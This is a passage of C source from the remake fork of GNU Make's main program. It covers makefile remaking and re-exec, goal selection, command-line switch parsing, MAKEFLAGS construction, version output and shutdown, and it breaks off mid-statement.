define_makeflags (1, 1);\n\n      {\n        int orig_db_level = db_level;\n\n        if (! ISDB (DB_MAKEFILES))\n          db_level = DB_NONE;\n\n        rebuilding_makefiles = 1;\n\tstatus = update_goal_chain (read_makefiles);\n        rebuilding_makefiles = 0;\n\n        db_level = orig_db_level;\n      }\n\n      switch (status)\n        {\n        case us_question:\n          /* The only way this can happen is if the user specified -q and asked\n             for one of the makefiles to be remade as a target on the command\n             line.  Since we're not actually updating anything with -q we can\n             treat this as \"did nothing\".  */\n\n        case us_none:\n          /* Did nothing.  */\n          break;\n\n        case us_failed:\n          /* Failed to update.  Figure out if we care.  */\n          {\n            /* Nonzero if any makefile was successfully remade.  */\n            int any_remade = 0;\n            /* Nonzero if any makefile we care about failed\n               in updating or could not be found at all.  */\n            int any_failed = 0;\n            unsigned int i;\n            struct goaldep *d;\n\n            for (i = 0, d = read_makefiles; d != 0; ++i, d = d->next)\n              {\n                if (d->file->updated)\n                  {\n                    /* This makefile was updated.  */\n                    if (d->file->update_status == us_success)\n                      {\n                        /* It was successfully updated.  */\n                        any_remade |= (file_mtime_no_search (d->file)\n                                       != makefile_mtimes[i]);\n                      }\n                    else if (! (d->flags & RM_DONTCARE))\n                      {\n                        FILE_TIMESTAMP mtime;\n                        /* The update failed and this makefile was not\n                           from the MAKEFILES variable, so we care.  */\n                        OS (error, NILF, _(\"Failed to remake makefile '%s'.\"),\n                            d->file->name);\n                        mtime = file_mtime_no_search (d->file);\n                        any_remade |= (mtime != NONEXISTENT_MTIME\n                                       && mtime != makefile_mtimes[i]);\n                        makefile_status = MAKE_FAILURE;\n                      }\n                  }\n                else\n                  /* This makefile was not found at all.  */\n                  if (! (d->flags & RM_DONTCARE))\n                    {\n                      const char *dnm = dep_name (d);\n                      size_t l = strlen (dnm);\n\n                      /* This is a makefile we care about.  See how much.  */\n                      if (d->flags & RM_INCLUDED)\n                        /* An included makefile.  We don't need to die, but we\n                           do want to complain.  */\n                        error (NILF, l,\n                               _(\"Included makefile '%s' was not found.\"), dnm);\n                      else\n                        {\n                          /* A normal makefile.  We must die later.  */\n                          error (NILF, l,\n                                 _(\"Makefile '%s' was not found\"), dnm);\n                          any_failed = 1;\n                        }\n                    }\n              }\n\n            if (any_remade)\n              goto re_exec;\n            if (any_failed)\n              die (MAKE_FAILURE);\n            break;\n          }\n\n        case us_success:\n        re_exec:\n          /* Updated successfully.  Re-exec ourselves.  */\n\n          remove_intermediates (0);\n\n          if (print_data_base_flag)\n            print_data_base ();\n\n          clean_jobserver (0);\n\n          if (makefiles != 0)\n            {\n              /* These names might have changed.  */\n              int i, j = 0;\n              for (i = 1; i < argc; ++i)\n                if (strneq (argv[i], \"-f\", 2)) /* XXX */\n                  {\n                    if (argv[i][2] == '\\0')\n                      /* This cast is OK since we never modify argv.  */\n                      argv[++i] = (char *) makefiles->list[j];\n                    else\n                      argv[i] = xstrdup (concat (2, \"-f\", makefiles->list[j]));\n                    ++j;\n                  }\n            }\n\n          /* Add -o option for the stdin temporary file, if necessary.  */\n          nargc = argc;\n          if (stdin_nm)\n            {\n              void *m = xmalloc ((nargc + 2) * sizeof (char *));\n              aargv = m;\n              memcpy (aargv, argv, argc * sizeof (char *));\n              aargv[nargc++] = xstrdup (concat (2, \"-o\", stdin_nm));\n              aargv[nargc] = 0;\n              nargv = m;\n            }\n          else\n            nargv = (const char**)argv;\n\n          if (directories != 0 && directories->idx > 0)\n            {\n              int bad = 1;\n              if (directory_before_chdir != 0)\n                {\n                  if (chdir (directory_before_chdir) < 0)\n                      perror_with_name (\"chdir\", \"\");\n                  else\n                    bad = 0;\n                }\n              if (bad)\n                O (fatal, NILF,\n                   _(\"Couldn't change back to original directory.\"));\n            }\n\n          ++restarts;\n\n          if (ISDB (DB_BASIC))\n            {\n              const char **p;\n              printf (_(\"Re-executing[%u]:\"), restarts);\n              for (p = nargv; *p != 0; ++p)\n                printf (\" %s\", *p);\n              putchar ('\\n');\n              fflush (stdout);\n            }\n\n          {\n            char **p;\n            for (p = environ; *p != 0; ++p)\n              {\n                if (strneq (*p, MAKELEVEL_NAME \"=\", MAKELEVEL_LENGTH+1))\n                  {\n                    *p = alloca (40);\n                    sprintf (*p, \"%s=%u\", MAKELEVEL_NAME, makelevel);\n                  }\n                else if (strneq (*p, \"MAKE_RESTARTS=\", CSTRLEN (\"MAKE_RESTARTS=\")))\n                  {\n                    *p = alloca (40);\n                    sprintf (*p, \"MAKE_RESTARTS=%s%u\",\n                             OUTPUT_IS_TRACED () ? \"-\" : \"\", restarts);\n                    restarts = 0;\n                  }\n              }\n          }\n\n          /* If we didn't set the restarts variable yet, add it.  */\n          if (restarts)\n            {\n              char *b = alloca (40);\n              sprintf (b, \"MAKE_RESTARTS=%s%u\",\n                       OUTPUT_IS_TRACED () ? \"-\" : \"\", restarts);\n              putenv (b);\n            }\n\n          fflush (stdout);\n          fflush (stderr);\n\n          /* The exec'd \"child\" will be another make, of course.  */\n          jobserver_pre_child(1);\n\n#ifdef SET_STACK_SIZE\n          /* Reset limits, if necessary.  */\n          if (stack_limit.rlim_cur)\n            setrlimit (RLIMIT_STACK, &stack_limit);\n#endif\n          exec_command ((char **)nargv, environ);\n\n          /* We shouldn't get here but just in case.  */\n          jobserver_post_child(1);\n          free (aargv);\n          break;\n        }\n    }\n\n  /* Set up 'MAKEFLAGS' again for the normal targets.  */\n  define_makeflags (1, 0);\n\n  /* Set always_make_flag if -B was given.  */\n  always_make_flag = always_make_set;\n\n  /* If restarts is set we haven't set up -W files yet, so do that now.  */\n  if (restarts && new_files != 0)\n    {\n      const char **p;\n      for (p = new_files->list; *p != 0; ++p)\n        {\n          struct file *f = enter_file (*p);\n          f->last_mtime = f->mtime_before_update = NEW_MTIME;\n        }\n    }\n\n  /* If there is a temp file from reading a makefile from stdin, get rid of\n     it now.  */\n  if (stdin_nm && unlink (stdin_nm) < 0 && errno != ENOENT)\n    perror_with_name (_(\"unlink (temporary file): \"), stdin_nm);\n\n  /* If there were no command-line goals, use the default.  */\n  if (goals == 0)\n    {\n      char *p;\n\n      if (default_goal_var->recursive)\n        p = variable_expand (default_goal_var->value);\n      else\n        {\n          p = variable_buffer_output (variable_buffer, default_goal_var->value,\n                                      strlen (default_goal_var->value));\n          *p = '\\0';\n          p = variable_buffer;\n        }\n\n      if (*p != '\\0')\n        {\n          struct file *f = lookup_file (p);\n\n          /* If .DEFAULT_GOAL is a non-existent target, enter it into the\n             table and let the standard logic sort it out. */\n          if (f == 0)\n            {\n              struct nameseq *ns;\n\n              ns = PARSE_SIMPLE_SEQ (&p, struct nameseq);\n              if (ns)\n                {\n                  /* .DEFAULT_GOAL should contain one target. */\n                  if (ns->next != 0)\n                    O (fatal, NILF,\n                       _(\".DEFAULT_GOAL contains more than one target\"));\n\n                  f = enter_file (strcache_add (ns->name));\n\n                  ns->name = 0; /* It was reused by enter_file(). */\n                  free_ns_chain (ns);\n                }\n            }\n\n          if (f)\n            {\n              goals = alloc_goaldep ();\n              goals->file = f;\n            }\n        }\n    }\n  else\n    lastgoal->next = 0;\n\n\n  if (!goals)\n    {\n      struct variable *v = lookup_variable (STRING_SIZE_TUPLE (\"MAKEFILE_LIST\"));\n      if (v && v->value && v->value[0] != '\\0')\n        O (fatal, NILF, _(\"No targets\"));\n\n      O (fatal, NILF, _(\"No targets specified and no makefile found\"));\n    }\n  if (show_task_comments_flag) {\n    dbg_cmd_info_targets(show_task_comments_flag\n\t\t\t ? INFO_TARGET_TASKS_WITH_COMMENTS\n\t\t\t : INFO_TARGET_TASKS);\n    die(0);\n  }\n  if (show_tasks_flag) {\n    dbg_cmd_info_tasks();\n    die(0);\n  } else if (show_targets_flag) {\n      dbg_cmd_info_targets(INFO_TARGET_NAME);\n      die(0);\n  }\n\n  /* Update the goals.  */\n\n  DB (DB_BASIC, (_(\"Updating goal targets...\\n\")));\n\n  {\n    switch (update_goal_chain (goals))\n    {\n      case us_none:\n        /* Nothing happened.  */\n        /* FALLTHROUGH */\n      case us_success:\n        /* Keep the previous result.  */\n        break;\n      case us_question:\n        /* We are under -q and would run some commands.  */\n        makefile_status = MAKE_TROUBLE;\n        break;\n      case us_failed:\n        /* Updating failed.  POSIX.2 specifies exit status >1 for this; */\n        makefile_status = MAKE_FAILURE;\n        break;\n    }\n\n    /* If we detected some clock skew, generate one last warning */\n    if (clock_skew_detected)\n      O (error, NILF,\n         _(\"warning:  Clock skew detected.  Your build may be incomplete.\"));\n\n    /* Exit.  */\n    die (makefile_status);\n  }\n\n  /* NOTREACHED */\n  exit (MAKE_SUCCESS);\n}\n\f\n/* Parsing of arguments, decoding of switches.  */\n\nstatic char options[1 + sizeof (switches) / sizeof (switches[0]) * 3];\nstatic struct option long_options[(sizeof (switches) / sizeof (switches[0])) +\n                                  (sizeof (long_option_aliases) /\n                                   sizeof (long_option_aliases[0]))];\n\n/* Fill in the string and vector for getopt.  */\nstatic void\ninit_switches (void)\n{\n  char *p;\n  unsigned int c;\n  unsigned int i;\n\n  if (options[0] != '\\0')\n    /* Already done.  */\n    return;\n\n  p = options;\n\n  /* Return switch and non-switch args in order, regardless of\n     POSIXLY_CORRECT.  Non-switch args are returned as option 1.  */\n  *p++ = '-';\n\n  for (i = 0; switches[i].c != '\\0'; ++i)\n    {\n      long_options[i].name = (char *) (switches[i].long_name == 0 ? \"\" :\n                                       switches[i].long_name);\n      long_options[i].flag = 0;\n      long_options[i].val = switches[i].c;\n      if (short_option (switches[i].c))\n        *p++ = (char) switches[i].c;\n      switch (switches[i].type)\n        {\n        case flag:\n        case flag_off:\n        case ignore:\n          long_options[i].has_arg = no_argument;\n          break;\n\n        case string:\n        case strlist:\n        case filename:\n        case positive_int:\n        case floating:\n          if (short_option (switches[i].c))\n            *p++ = ':';\n          if (switches[i].noarg_value != 0)\n            {\n              if (short_option (switches[i].c))\n                *p++ = ':';\n              long_options[i].has_arg = optional_argument;\n            }\n          else\n            long_options[i].has_arg = required_argument;\n          break;\n        }\n    }\n  *p = '\\0';\n  for (c = 0; c < (sizeof (long_option_aliases) /\n                   sizeof (long_option_aliases[0]));\n       ++c)\n    long_options[i++] = long_option_aliases[c];\n  long_options[i].name = 0;\n}\n\n\n/* Non-option argument.  It might be a variable definition.  */\nstatic void\nhandle_non_switch_argument (const char *arg, int env)\n{\n  struct variable *v;\n\n  if (arg[0] == '-' && arg[1] == '\\0')\n    /* Ignore plain '-' for compatibility.  */\n    return;\n\n  v = try_variable_definition (0, arg, o_command, 0);\n  if (v != 0)\n    {\n      /* It is indeed a variable definition.  If we don't already have this\n         one, record a pointer to the variable for later use in\n         define_makeflags.  */\n      struct command_variable *cv;\n\n      for (cv = command_variables; cv != 0; cv = cv->next)\n        if (cv->variable == v)\n          break;\n\n      if (! cv)\n        {\n          cv = xmalloc (sizeof (*cv));\n          cv->variable = v;\n          cv->next = command_variables;\n          command_variables = cv;\n        }\n    }\n  else if (! env)\n    {\n      /* Not an option or variable definition; it must be a goal\n         target!  Enter it as a file and add it to the dep chain of\n         goals.  */\n      struct file *f = enter_file (strcache_add (expand_command_line_file (arg)));\n      f->cmd_target = 1;\n\n      if (goals == 0)\n        {\n          goals = alloc_goaldep ();\n          lastgoal = goals;\n        }\n      else\n        {\n          lastgoal->next = alloc_goaldep ();\n          lastgoal = lastgoal->next;\n        }\n\n      lastgoal->file = f;\n\n      {\n        /* Add this target name to the MAKECMDGOALS variable. */\n        struct variable *gv;\n        const char *value;\n\n        gv = lookup_variable (STRING_SIZE_TUPLE (\"MAKECMDGOALS\"));\n        if (gv == 0)\n          value = f->name;\n        else\n          {\n            /* Paste the old and new values together */\n            size_t oldlen, newlen;\n            char *vp;\n\n            oldlen = strlen (gv->value);\n            newlen = strlen (f->name);\n            vp = alloca (oldlen + 1 + newlen + 1);\n            memcpy (vp, gv->value, oldlen);\n            vp[oldlen] = ' ';\n            memcpy (&vp[oldlen + 1], f->name, newlen + 1);\n            value = vp;\n          }\n        define_variable_cname (\"MAKECMDGOALS\", value, o_default, 0);\n      }\n    }\n}\n\n/* Print a nice usage method.  */\n\nstatic void\nprint_usage (int bad)\n{\n  const char *const *cpp;\n  FILE *usageto;\n\n  if (print_version_flag)\n    print_version ();\n\n  usageto = bad ? stderr : stdout;\n\n  fprintf (usageto, _(\"Usage: %s [options] [target] ...\\n\"), program);\n\n  for (cpp = usage; *cpp; ++cpp)\n    fputs (_(*cpp), usageto);\n\n  if (!remote_description || *remote_description == '\\0')\n    fprintf (usageto, _(\"\\nThis program built for %s\\n\"), make_host);\n  else\n    fprintf (usageto, _(\"\\nThis program built for %s (%s)\\n\"),\n             make_host, remote_description);\n\n  fprintf (usageto, _(\"Report bugs to https://github.com/rocky/remake/issues\\n\"));\n}\n\n/* Decode switches from ARGC and ARGV.\n   They came from the environment if ENV is nonzero.  */\n\nstatic void\ndecode_switches (int argc, const char **argv, int env)\n{\n  int bad = 0;\n  const struct command_switch *cs;\n  struct stringlist *sl;\n  int c;\n\n  /* getopt does most of the parsing for us.\n     First, get its vectors set up.  */\n\n  init_switches ();\n\n  /* Let getopt produce error messages for the command line,\n     but not for options from the environment.  */\n  opterr = !env;\n  /* Reset getopt's state.  */\n  optind = 0;\n\n  while (optind < argc)\n    {\n      const char *coptarg;\n\n      /* Parse the next argument.  */\n      c = getopt_long (argc, (char*const*)argv, options, long_options, NULL);\n      coptarg = optarg;\n      if (c == EOF)\n        /* End of arguments, or \"--\" marker seen.  */\n        break;\n      else if (c == 1)\n        /* An argument not starting with a dash.  */\n        handle_non_switch_argument (coptarg, env);\n      else if (c == '?')\n        /* Bad option.  We will print a usage message and die later.\n           But continue to parse the other options so the user can\n           see all he did wrong.  */\n        bad = 1;\n      else\n        for (cs = switches; cs->c != '\\0'; ++cs)\n          if (cs->c == c)\n            {\n              /* Whether or not we will actually do anything with\n                 this switch.  We test this individually inside the\n                 switch below rather than just once outside it, so that\n                 options which are to be ignored still consume args.  */\n              int doit = !env || cs->env;\n\n              switch (cs->type)\n                {\n                default:\n                  abort ();\n\n                case ignore:\n                  break;\n\n                case flag:\n                case flag_off:\n                  if (doit)\n                    *(int *) cs->value_ptr = cs->type == flag;\n                  break;\n\n                case string:\n                case strlist:\n                case filename:\n                  if (!doit)\n                    break;\n\n                  if (! coptarg)\n                    coptarg = xstrdup (cs->noarg_value);\n                  else if (*coptarg == '\\0')\n                    {\n                      char opt[2] = \"c\";\n                      const char *op = opt;\n\n                      if (short_option (cs->c))\n                        opt[0] = (char) cs->c;\n                      else\n                        op = cs->long_name;\n\n                      error (NILF, strlen (op),\n                             _(\"the '%s%s' option requires a non-empty string argument\"),\n                             short_option (cs->c) ? \"-\" : \"--\", op);\n                      bad = 1;\n                      break;\n                    }\n\n                  if (cs->type == string)\n                    {\n                      char **val = (char **)cs->value_ptr;\n                      free (*val);\n                      *val = xstrdup (coptarg);\n                      break;\n                    }\n\n                  sl = *(struct stringlist **) cs->value_ptr;\n                  if (sl == 0)\n                    {\n                      sl = xmalloc (sizeof (struct stringlist));\n                      sl->max = 5;\n                      sl->idx = 0;\n                      sl->list = xmalloc (5 * sizeof (char *));\n                      *(struct stringlist **) cs->value_ptr = sl;\n                    }\n                  else if (sl->idx == sl->max - 1)\n                    {\n                      sl->max += 5;\n                      /* MSVC erroneously warns without a cast here.  */\n                      sl->list = xrealloc ((void *)sl->list,\n                                           sl->max * sizeof (char *));\n                    }\n                  if (cs->type == filename)\n                    sl->list[sl->idx++] = expand_command_line_file (coptarg);\n                  else\n                    sl->list[sl->idx++] = xstrdup (coptarg);\n                  sl->list[sl->idx] = 0;\n                  break;\n\n                case positive_int:\n                  /* See if we have an option argument; if we do require that\n                     it's all digits, not something like \"10foo\".  */\n                  if (coptarg == 0 && argc > optind)\n                    {\n                      const char *cp;\n                      for (cp=argv[optind]; ISDIGIT (cp[0]); ++cp)\n                        ;\n                      if (cp[0] == '\\0')\n                        coptarg = argv[optind++];\n                    }\n\n                  if (!doit)\n                    break;\n\n                  if (coptarg)\n                    {\n                      int i = atoi (coptarg);\n                      const char *cp;\n\n                      /* Yes, I realize we're repeating this in some cases.  */\n                      for (cp = coptarg; ISDIGIT (cp[0]); ++cp)\n                        ;\n\n                      if (i < 1 || cp[0] != '\\0')\n                        {\n                          error (NILF, 0,\n                                 _(\"the '-%c' option requires a positive integer argument\"),\n                                 cs->c);\n                          bad = 1;\n                        }\n                      else\n                        *(unsigned int *) cs->value_ptr = i;\n                    }\n                  else\n                    *(unsigned int *) cs->value_ptr\n                      = *(unsigned int *) cs->noarg_value;\n                  break;\n\n                case floating:\n                  if (coptarg == 0 && optind < argc\n                      && (ISDIGIT (argv[optind][0]) || argv[optind][0] == '.'))\n                    coptarg = argv[optind++];\n\n                  if (doit)\n                    *(double *) cs->value_ptr\n                      = (coptarg != 0 ? atof (coptarg)\n                         : *(double *) cs->noarg_value);\n\n                  break;\n                }\n\n              /* We've found the switch.  Stop looking.  */\n              break;\n            }\n    }\n\n  /* There are no more options according to getting getopt, but there may\n     be some arguments left.  Since we have asked for non-option arguments\n     to be returned in order, this only happens when there is a \"--\"\n     argument to prevent later arguments from being options.  */\n  while (optind < argc)\n    handle_non_switch_argument (argv[optind++], env);\n\n  if (!env && (bad || print_usage_flag))\n    {\n      print_usage (bad);\n      die (bad ? MAKE_FAILURE : MAKE_SUCCESS);\n    }\n\n  /* If there are any options that need to be decoded do it now.  */\n  decode_debug_flags ();\n  decode_output_sync_flags ();\n\n  /* Perform any special switch handling.  */\n  run_silent = silent_flag;\n\n}\n\n/* Decode switches from environment variable ENVAR (which is LEN chars long).\n   We do this by chopping the value into a vector of words, prepending a\n   dash to the first word if it lacks one, and passing the vector to\n   decode_switches.  */\n\nstatic void\ndecode_env_switches (const char *envar, size_t len)\n{\n  char *varref = alloca (2 + len + 2);\n  char *value, *p, *buf;\n  int argc;\n  const char **argv;\n\n  /* Get the variable's value.  */\n  varref[0] = '$';\n  varref[1] = '(';\n  memcpy (&varref[2], envar, len);\n  varref[2 + len] = ')';\n  varref[2 + len + 1] = '\\0';\n  value = variable_expand (varref);\n\n  /* Skip whitespace, and check for an empty value.  */\n  NEXT_TOKEN (value);\n  len = strlen (value);\n  if (len == 0)\n    return;\n\n  /* Allocate a vector that is definitely big enough.  */\n  argv = alloca ((1 + len + 1) * sizeof (char *));\n\n  /* getopt will look at the arguments starting at ARGV[1].\n     Prepend a spacer word.  */\n  argv[0] = 0;\n  argc = 1;\n\n  /* We need a buffer to copy the value into while we split it into words\n     and unquote it.  Set up in case we need to prepend a dash later.  */\n  buf = alloca (1 + len + 1);\n  buf[0] = '-';\n  p = buf+1;\n  argv[argc] = p;\n  while (*value != '\\0')\n    {\n      if (*value == '\\\\' && value[1] != '\\0')\n        ++value;                /* Skip the backslash.  */\n      else if (ISBLANK (*value))\n        {\n          /* End of the word.  */\n          *p++ = '\\0';\n          argv[++argc] = p;\n          do\n            ++value;\n          while (ISBLANK (*value));\n          continue;\n        }\n      *p++ = *value++;\n    }\n  *p = '\\0';\n  argv[++argc] = 0;\n  assert (p < buf + len + 2);\n\n  if (argv[1][0] != '-' && strchr (argv[1], '=') == 0)\n    /* The first word doesn't start with a dash and isn't a variable\n       definition, so add a dash.  */\n    argv[1] = buf;\n\n  /* Parse those words.  */\n  decode_switches (argc, argv, 1);\n}\n\f\n/* Quote the string IN so that it will be interpreted as a single word with\n   no magic by decode_env_switches; also double dollar signs to avoid\n   variable expansion in make itself.  Write the result into OUT, returning\n   the address of the next character to be written.\n   Allocating space for OUT twice the length of IN is always sufficient.  */\n\nstatic char *\nquote_for_env (char *out, const char *in)\n{\n  while (*in != '\\0')\n    {\n      if (*in == '$')\n        *out++ = '$';\n      else if (ISBLANK (*in) || *in == '\\\\')\n        *out++ = '\\\\';\n      *out++ = *in++;\n    }\n\n  return out;\n}\n\n/* Define the MAKEFLAGS and MFLAGS variables to reflect the settings of the\n   command switches.  Include options with args if ALL is nonzero.\n   Don't include options with the 'no_makefile' flag set if MAKEFILE.  */\n\nstatic struct variable *\ndefine_makeflags (int all, int makefile)\n{\n  const char ref[] = \"MAKEOVERRIDES\";\n  const char posixref[] = \"-*-command-variables-*-\";\n  const char evalref[] = \"$(-*-eval-flags-*-)\";\n  const struct command_switch *cs;\n  char *flagstring;\n  char *p;\n\n  /* We will construct a linked list of 'struct flag's describing\n     all the flags which need to go in MAKEFLAGS.  Then, once we\n     know how many there are and their lengths, we can put them all\n     together in a string.  */\n\n  struct flag\n    {\n      struct flag *next;\n      const struct command_switch *cs;\n      const char *arg;\n    };\n  struct flag *flags = 0;\n  struct flag *last = 0;\n  size_t flagslen = 0;\n#define ADD_FLAG(ARG, LEN) \\\n  do {                                                                        \\\n    struct flag *new = alloca (sizeof (struct flag));                         \\\n    new->cs = cs;                                                             \\\n    new->arg = (ARG);                                                         \\\n    new->next = 0;                                                            \\\n    if (! flags)                                                              \\\n      flags = new;                                                            \\\n    else                                                                      \\\n      last->next = new;                                                       \\\n    last = new;                                                               \\\n    if (new->arg == 0)                                                        \\\n      /* Just a single flag letter: \" -x\"  */                                 \\\n      flagslen += 3;                                                          \\\n    else                                                                      \\\n      /* \" -xfoo\", plus space to escape \"foo\".  */                            \\\n      flagslen += 1 + 1 + 1 + (3 * (LEN));                                    \\\n    if (!short_option (cs->c))                                                \\\n      /* This switch has no single-letter version, so we use the long.  */    \\\n      flagslen += 2 + strlen (cs->long_name);                                 \\\n  } while (0)\n\n  for (cs = switches; cs->c != '\\0'; ++cs)\n    if (cs->toenv && (!makefile || !cs->no_makefile))\n      switch (cs->type)\n        {\n        case ignore:\n          break;\n\n        case flag:\n        case flag_off:\n          if ((!*(int *) cs->value_ptr) == (cs->type == flag_off)\n              && (cs->default_value == 0\n                  || *(int *) cs->value_ptr != *(int *) cs->default_value))\n\t    if (cs->c != 'X') ADD_FLAG (0, 0);\n          break;\n\n        case positive_int:\n          if (all)\n            {\n              if ((cs->default_value != 0\n                   && (*(unsigned int *) cs->value_ptr\n                       == *(unsigned int *) cs->default_value)))\n                break;\n              else if (cs->noarg_value != 0\n                       && (*(unsigned int *) cs->value_ptr ==\n                           *(unsigned int *) cs->noarg_value))\n                ADD_FLAG (\"\", 0); /* Optional value omitted; see below.  */\n              else\n                {\n                  char *buf = alloca (30);\n                  sprintf (buf, \"%u\", *(unsigned int *) cs->value_ptr);\n                  ADD_FLAG (buf, strlen (buf));\n                }\n            }\n          break;\n\n        case floating:\n          if (all)\n            {\n              if (cs->default_value != 0\n                  && (*(double *) cs->value_ptr\n                      == *(double *) cs->default_value))\n                break;\n              else if (cs->noarg_value != 0\n                       && (*(double *) cs->value_ptr\n                           == *(double *) cs->noarg_value))\n                ADD_FLAG (\"\", 0); /* Optional value omitted; see below.  */\n              else\n                {\n                  char *buf = alloca (100);\n                  sprintf (buf, \"%g\", *(double *) cs->value_ptr);\n                  ADD_FLAG (buf, strlen (buf));\n                }\n            }\n          break;\n\n        case string:\n          if (all)\n            {\n              p = *((char **)cs->value_ptr);\n              if (p)\n                ADD_FLAG (p, strlen (p));\n            }\n          break;\n\n        case filename:\n        case strlist:\n          if (all)\n            {\n              struct stringlist *sl = *(struct stringlist **) cs->value_ptr;\n              if (sl != 0)\n                {\n                  unsigned int i;\n                  for (i = 0; i < sl->idx; ++i)\n                    ADD_FLAG (sl->list[i], strlen (sl->list[i]));\n                }\n            }\n          break;\n\n        default:\n          abort ();\n        }\n\n#undef  ADD_FLAG\n\n  /* Four more for the possible \" -- \", plus variable references.  */\n  flagslen += 4 + CSTRLEN (posixref) + 4 + CSTRLEN (evalref) + 4;\n\n  /* Construct the value in FLAGSTRING.\n     We allocate enough space for a preceding dash and trailing null.  */\n  flagstring = alloca (1 + flagslen + 1);\n  memset (flagstring, '\\0', 1 + flagslen + 1);\n  p = flagstring;\n\n  /* Start with a dash, for MFLAGS.  */\n  *p++ = '-';\n\n  /* Add simple options as a group.  */\n  while (flags != 0 && !flags->arg && short_option (flags->cs->c))\n    {\n      if (flags->cs->c != 'X') {\n        *p++ = (char) flags->cs->c;\n        flags = flags->next;\n      }\n    }\n\n  /* Now add more complex flags: ones with options and/or long names.  */\n  while (flags)\n    {\n      *p++ = ' ';\n      *p++ = '-';\n\n      /* Add the flag letter or name to the string.  */\n      if (short_option (flags->cs->c)) {\n        if (flags->cs->c != 'X') *p++ = (char) flags->cs->c;\n      } else\n        {\n          /* Long options require a double-dash.  */\n          *p++ = '-';\n          strcpy (p, flags->cs->long_name);\n          p += strlen (p);\n        }\n      /* An omitted optional argument has an ARG of \"\".  */\n      if (flags->arg && flags->arg[0] != '\\0')\n        {\n          if (!short_option (flags->cs->c))\n            /* Long options require '='.  */\n            *p++ = '=';\n          p = quote_for_env (p, flags->arg);\n        }\n      flags = flags->next;\n    }\n\n  /* If no flags at all, get rid of the initial dash.  */\n  if (p == &flagstring[1])\n    {\n      flagstring[0] = '\\0';\n      p = flagstring;\n    }\n\n  /* Define MFLAGS before appending variable definitions.  Omit an initial\n     empty dash.  Since MFLAGS is not parsed for flags, there is no reason to\n     override any makefile redefinition.  */\n  define_variable_cname (\"MFLAGS\",\n                         flagstring + (flagstring[0] == '-' && flagstring[1] == ' ' ? 2 : 0),\n                         o_env, 1);\n\n  /* Write a reference to -*-eval-flags-*-, which contains all the --eval\n     flag options.  */\n  if (eval_strings)\n    {\n      *p++ = ' ';\n      memcpy (p, evalref, CSTRLEN (evalref));\n      p += CSTRLEN (evalref);\n    }\n\n  if (all)\n    {\n      /* If there are any overrides to add, write a reference to\n         $(MAKEOVERRIDES), which contains command-line variable definitions.\n         Separate the variables from the switches with a \"--\" arg.  */\n\n      const char *r = posix_pedantic ? posixref : ref;\n      size_t l = strlen (r);\n      struct variable *v = lookup_variable (r, l);\n\n      if (v && v->value && v->value[0] != '\\0')\n        {\n          strcpy (p, \" -- \");\n          p += 4;\n\n          *(p++) = '$';\n          *(p++) = '(';\n          memcpy (p, r, l);\n          p += l;\n          *(p++) = ')';\n        }\n    }\n\n  /* If there is a leading dash, omit it.  */\n  if (flagstring[0] == '-')\n    ++flagstring;\n\n  /* This used to use o_env, but that lost when a makefile defined MAKEFLAGS.\n     Makefiles set MAKEFLAGS to add switches, but we still want to redefine\n     its value with the full set of switches.  Then we used o_file, but that\n     lost when users added -e, causing a previous MAKEFLAGS env. var. to take\n     precedence over the new one.  Of course, an override or command\n     definition will still take precedence.  */\n  return define_variable_cname (\"MAKEFLAGS\", flagstring,\n                                env_overrides ? o_env_override : o_file, 1);\n}\n\f\n/* Print version information.  */\n\nstatic void\nprint_version (void)\n{\n  static int printed_version = 0;\n\n  const char *precede = print_data_base_flag ? \"# \" : \"\";\n\n  if (printed_version)\n    /* Do it only once.  */\n    return;\n\n  printf (\"%sGNU Make %s\\n\", precede, version_string);\n\n  if (!remote_description || *remote_description == '\\0')\n    printf (_(\"%sBuilt for %s\\n\"), precede, make_host);\n  else\n    printf (_(\"%sBuilt for %s (%s)\\n\"),\n            precede, make_host, remote_description);\n\n  /* Print this untranslated.  The coding standards recommend translating the\n     (C) to the copyright symbol, but this string is going to change every\n     year, and none of the rest of it should be translated (including the\n     word \"Copyright\"), so it hardly seems worth it.  */\n\n  printf (\"%sCopyright (C) 1988-2020 Free Software Foundation, Inc.\\n\"\n\t        \"Copyright (C) 2015, 2017 Rocky Bernstein.\\n\",\n          precede);\n\n  printf (_(\"%sLicense GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>\\n\\\n%sThis is free software: you are free to change and redistribute it.\\n\\\n%sThere is NO WARRANTY, to the extent permitted by law.\\n\"),\n            precede, precede, precede);\n\n  printed_version = 1;\n\n  /* Flush stdout so the user doesn't have to wait to see the\n     version information while make thinks about things.  */\n  fflush (stdout);\n}\n\n/* Print a bunch of information about this and that.  */\n\nstatic void\nprint_data_base (void)\n{\n  time_t when = time ((time_t *) 0);\n\n  print_version ();\n\n  printf (_(\"\\n# Make data base, printed on %s\"), ctime (&when));\n\n  print_variable_data_base ();\n  print_dir_data_base ();\n  print_rule_data_base (true);\n  print_file_data_base ();\n  print_vpath_data_base ();\n  strcache_print_stats (\"#\");\n\n  when = time ((time_t *) 0);\n  printf (_(\"\\n# Finished Make data base on %s\\n\"), ctime (&when));\n}\n\nstatic void\nclean_jobserver (int status)\n{\n  /* Sanity: have we written all our jobserver tokens back?  If our\n     exit status is 2 that means some kind of syntax error; we might not\n     have written all our tokens so do that now.  If tokens are left\n     after any other error code, that's bad.  */\n\n  if (jobserver_enabled() && jobserver_tokens)\n    {\n      if (status != 2)\n        ON (error, NILF,\n            \"INTERNAL: Exiting with %u jobserver tokens (should be 0)!\",\n            jobserver_tokens);\n      else\n        /* Don't write back the \"free\" token */\n        while (--jobserver_tokens)\n          jobserver_release (0);\n    }\n\n\n  /* Sanity: If we're the master, were all the tokens written back?  */\n\n  if (master_job_slots)\n    {\n      /* We didn't write one for ourself, so start at 1.  */\n      unsigned int tokens = 1 + jobserver_acquire_all ();\n\n      if (tokens != master_job_slots)\n        ONN (error, NILF,\n             \"INTERNAL: Exiting with %u jobserver tokens available; should be %u!\",\n             tokens, master_job_slots);\n\n      reset_jobserver ();\n    }\n}\n\f\n/* Exit with STATUS, cleaning up as necessary.  */\n\nvoid\ndie (int status)\n{\n  static char dying = 0;\n\n  if (!dying)\n    {\n      int err;\n\n      dying = 1;\n\n      if (print_version_flag)\n        print_version ();\n\n      /* Wait for children to die.  */\n      err = (status != 0);\n      while (job_slots_used > 0)\n        reap_children (1, err, NULL);\n\n      /* Let the remote job module clean up its state.  */\n      remote_cleanup ();\n\n      /* Remove the intermediate files.  */\n      remove_intermediates (0);\n\n      if (print_data_base_flag)\n        print_data_base ();\n\n      if (verify_flag)\n        verify_file_data_base 